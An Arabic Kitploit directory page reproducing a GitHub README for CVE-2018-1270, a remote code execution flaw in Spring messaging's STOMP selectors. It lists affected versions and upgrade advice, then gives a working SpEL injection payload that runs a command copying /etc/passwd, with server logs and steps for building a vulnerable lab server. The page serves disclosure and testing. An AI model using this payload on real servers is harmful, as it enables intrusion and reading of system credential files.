Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-1270 — RCE عبر بروتوكول STOMP في رسائل Spring | Kitploit
أدوات/GitHubGitHub/caledoniaproject/cve-2018-1270
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمArchived
GitHubcaledoniaproject/cve-2018-1270

CVE-2018-1270

RCE عبر بروتوكول STOMP في رسائل Spring

عرض المستودع
11318منذ 8 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2018-1270 - ثغرة تنفيذ تعليمات Spel في Spring messaging

أمس نشرت Spring ثغرة RCE واحدة، تعرف عليها:

  • CVE-2018-1270: تنفيذ الأوامر عن بُعد باستخدام spring-messaging

الإصدارات المتأثرة

  • Spring Framework من 5.0 إلى 5.0.4
  • Spring Framework من 4.3 إلى 4.3.14

لا تتطلب هذه الثغرة بيئة محددة، إذا كنت تستخدم spring-messaging + websocket + STOMP، فيرجى الترقية إلى أحدث إصدار في أقرب وقت؛ إذا كنت تستخدم SpringBoot، فقم بالترقية إلى 2.0.1.RELEASE.

تفاصيل الثغرة

ببساطة، نظرًا لأن صلاحيات StandardEvaluationContext كبيرة جدًا ويمكنها تنفيذ أي تعبير SpEL، فقد أضافت الجهة الرسمية بعد Spring 5.0.5 ميزة SimpleEvaluationContext لتنفيذ ربط بيانات بسيط، مع الحفاظ على المرونة دون إدخال مخاطر أمنية.

يوفر spring-messaging دعمًا لبروتوكول STOMP، مما يسمح للعملاء بالاشتراك في الرسائل واستخدام selector لتصفية الرسائل، على سبيل المثال:

root@kitploit:~
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
        "selector": selector
    })
});

عند الاشتراك، يقوم spring بتخزين هذا المُرَشِّح، ويتم تفعيله عندما يتلقى العميل رسالة، على سبيل المثال:

root@kitploit:~
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]

...

2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean

لقطة شاشة Poc

screenshot

سيتم إصدار مقال تحليل الثغرة لاحقًا

كيفية استخدام البيئة

قم بتجميع وبدء تشغيل خادم Spring Boot،

root@kitploit:~
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar

قم بالزيارة - أدخل التعبير للاختبار،

root@kitploit:~
http://localhost:8080

screenshot

تنزيل الأداة